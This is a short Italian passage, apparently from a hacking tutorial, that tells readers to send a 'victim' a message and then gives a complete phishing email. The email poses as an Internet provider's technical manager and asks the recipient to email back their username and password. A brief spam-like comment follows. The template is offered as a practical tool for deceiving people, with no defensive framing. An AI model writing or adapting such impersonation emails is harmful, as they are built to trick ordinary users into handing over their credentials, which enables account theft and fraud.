Trovata la "cavia" ora dovete scrivergli un messaggio di questo tipo:
--->
Da: [email protected]
A: [email protected]
Soggetto:
Gentile Utente,
per offrirLe un miglior servizio abbiamo aggiornato il server software
del ns. Internet Provider. Per problemi tecnici non ci e` stato possibile
importare il database Utenti, motivo per cui La preghiamo di volerci
comunicare al piu` presto il suo username e la sua password, scrivendo al
nostro indirizzo email: [email protected]
La ringraziamo per la cortese attenzione.
Cordiali saluti
Dr. Antonio Brambilla
Resp. Servizio Tecnico
XXXX Internet Provider
Via ................
Tel/Fax ............

Esempio



  


  1. Ivan

    That kind of thniknig shows you're an expert